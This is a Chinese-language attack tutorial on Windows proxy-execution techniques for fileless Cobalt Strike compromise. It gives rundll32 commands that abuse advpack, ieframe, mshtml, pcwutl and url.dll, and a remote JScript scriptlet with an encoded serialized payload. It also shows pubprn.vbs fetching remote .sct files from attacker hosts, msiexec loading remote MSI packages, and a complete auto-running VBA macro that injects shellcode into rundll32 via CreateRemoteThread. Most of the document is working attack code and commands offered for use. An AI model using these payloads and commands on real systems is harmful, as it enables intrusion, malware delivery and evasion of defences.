rundll32 是用于执行 dll 中的函数的程序,并且在进程列表中只能看到rundll32.exe,但是遍历rundll32.exe的模块列表可以看到进程加载的dll
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
可以通过构造恶意命令加载远程的恶意代码,实现无文件落地攻击。
通过构造远程的脚本文件,使用rundll32加载运行,实现上线。
远程脚本参考:
<?xmlversion="1.0"?>
<package>
<componentid="attack">
<scriptlanguage="JScript">
<![CDATA[
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD////AQAAAAAAAAAAAAAQAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpmF0aw9uSG9sZGVy"+
"AwAAAAhEZwxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlGbVnyXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZwxlZ2F0ZUVudHJ5IIN5c3RlS5EZwxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIVU3lzdGVtLLJzMxIY3Rpb24uTWVtYmVvSW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpmF0aw9uSG9sZGVyK0RlbGVnYXRL"+
"RW50cnkAAAAABHR5cGUIYXNZw1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
"eXBITmFtZQptZXRob2ROYW1LDWRlBGVnYXRLrw5OcnkBAQIBAQEDMFN5c3RlbsS5EZwxlZ2FOVNL"+
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbsS5Sdw50aw1llLjlbw90"+
"aW5nLk1Ic3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWiIsIFZIcnNpb249Mi4wLjAu"+
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdwJsaUNLZXlUb2tlbj1iNzdhNWM1Nje5MzRlMDg5BgcAAAAH"+
"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlBGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwwAA"+
...
]]>
</script>
</component>
</package>
使用Cobalt Strike 生成上线的DLL文件,使用rundll32 进行调用运行。
位置:
c:\windows\system32\advpack.dllc:\windows\syswow64\advpack.dll执行命令:
rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
位置:
c:\windows\system32\ieframe.dllc:\windows\syswow64\ieframe.dll参考执行命令:
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
位置:
c:\windows\system32\mshtml.dllc:\windows\syswow64\mshtml.dll参考执行命令:
rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
位置:
c:\windows\system32\pcwutl.dllc:\windows\syswow64\pcwutl.dll参考执行命令:
rundll32.exe pcwutl.dll,LaunchApplication calc.exe
位置:
c:\windows\system32\url.dllc:\windows\syswow64\url.dll参考执行命令:
rundll32.exe url.dll,FileProtocolHandler file://C:\Windows\System32\calc.exe
PUBPRN.VBS 是一个将打印机发布到 ActiveDirectory 域服务的 VisualBasic 脚本。该脚本由 Microsoft 签名,可用于从远程站点代理执行。
cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.1.100/hi.png
英文系统:
C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbsC:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs中文系统:
C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbsC:\Windows\SysWOW64\Printing_Admin_Scripts\zh-CN\pubprn.vbs通过 pubprn.vbs 文件可以加载执行远程的 .sct 文件,实现执行命令的效果。
参考命令:
cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
file.sct 参考内容:
<?xmlversion="1.0"?>
<package>
<componentid="testCalc">
<scriptlanguage="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>
通过在 .sct 文件中构造恶意上线代码,即可实现无文件落地上线cs。
script:进行拦截http进行拦截。命令中出现 http 关键字即报毒且禁止访问MSI 文件是 Windows Installer 的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI 文件将程序的组成文件与功能关联起来。此外,它还包含有关安装过程本身的信息。如目标文件夹路径、系统依赖项、安装选项和控制安装过程的属性。采用 MSI 安装的优势在于你可以随时彻底删除它们,更改安装选项,即使安装中途出现意想不到的错误,一样可以安全地恢复到以前的状态,正是凭着此强大功能,越来越多的软件开始使用MSI作为发行的方式了。
msiexec.exe 是系统进程,是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),对系统的正常运行是非常重要的,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。
参考命令:
msiexec /i "winapp.msi" /quiet TARGETDIR="D:\TEST"
# 静默安装到D:\TEST 目录下
可以通过远程URL加载MSI文件进行执行。
office 宏,译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。
在计算机技术的历史中,宏病毒(英语:Macro virus)是一种使得应用软件的相关应用文档内含有被称为宏的可执行代码的病毒。一个电子表格程序可能允许用户在一个文档中嵌入宏命令,使得某种操作得以自动运行;同样的操作也就可以将病毒嵌入电子表格来对用户的使用造成破坏。
在1990年代中后期最流行的病毒就是和微软公司办公软件(如Microsoft Word及Excel)相关的宏病毒。在90年代后期,微软公司的电子邮件软件Outlook(拥有scripting特性)成为传播宏病毒最常用的载体。直到今天还是如此。Outlook的scripting特性使得宏病毒能够获得Outlook用户地址簿中存储的联系人地址,通过向这些地址发送E-mail将病毒体广泛传播。而之前的电脑病毒(比如Morris电脑病毒)同样通过E-mail传播,但破坏力远不及此。
宏病毒的另一个特别危险的特征体现于它们有时能够感染运行不同操作系统平台上的的电脑。比如Microsoft Word宏病毒可以感染使用微软公司视窗系统的Word用户,同样也可以感染使用苹果公司Macintosh电脑的用户。
绝大多数的宏病毒都是根据微软公司系列软件所特有的宏功能所编写,这一方面是因为其他应用软件对编写宏病毒来说十分困难,另一方面也是因为微软公司系列软件得到了最广泛的使用,以致于它们成为了这些电脑病毒的首要目标。
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
#If[](javascript:;) VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackTrace As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByVal Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else[](javascript:;)
Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackTrace As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, ByVal flProtect As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByVal Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End[](javascript:;) If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If[](javascript:;) VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else[](javascript:;)
Dim rwxpage As Long, res As Long
#End[](javascript:;) If
myArray = Array(shellcode)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\SysWOW64\rundll32.exe"
Else
sProc = Environ("windir") & "\System32\rundll32.exe"
End If
res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
注意:如果目标机器存在360、火绒这类杀软,杀软不会直接删除文档,但会清除文档中的宏代码。 目前宏文档已被各大杀软层层监控,笔者未有bypass杀软的相关技术。以下项目可用于后续免杀宏的参考学习: